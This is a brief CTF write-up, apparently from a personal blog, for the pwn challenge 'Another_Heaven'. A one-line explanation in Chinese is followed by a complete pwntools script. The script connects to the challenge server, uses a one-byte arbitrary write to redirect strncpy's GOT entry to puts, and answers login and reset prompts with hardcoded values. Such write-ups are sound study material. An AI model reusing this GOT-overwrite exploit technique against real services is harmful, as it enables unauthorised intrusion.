而在gdb查看got表发现,strnpty和puts最后仅一字节不同,考虑修改strncpy got表内容为puts。

Another_Heaven

#coding=utf-8
from pwn import *
#context(log_level='debug')
#sh=process("./another_Heaven")
sh=remote("47.103.214.163",21001)
account="E99p1ant"
security="Alice·Synthesis·Thirty"
def modifyonebyte(destaddr,char): #You can modify any byte of memory here
	change=str(destaddr)+"\n"+p8(char)
	sh.sendafter('Annevi!"\n',change) 
modifyonebyte(0x0000000000602020,0xe6)
sh.sendlineafter("Account:",account)
sh.sendlineafter("Password:","asd")
sh.sendlineafter("Forgot your password?(y/n)\n","y")
sh.sendlineafter("Who is your Wife?\n",security)
sh.sendlineafter("Input new password:\n","c")
sh.interactive()
Share on

Qfrost
WRITTEN BY
Qfrost
CTFer, Anti-Cheater, LLVM Committer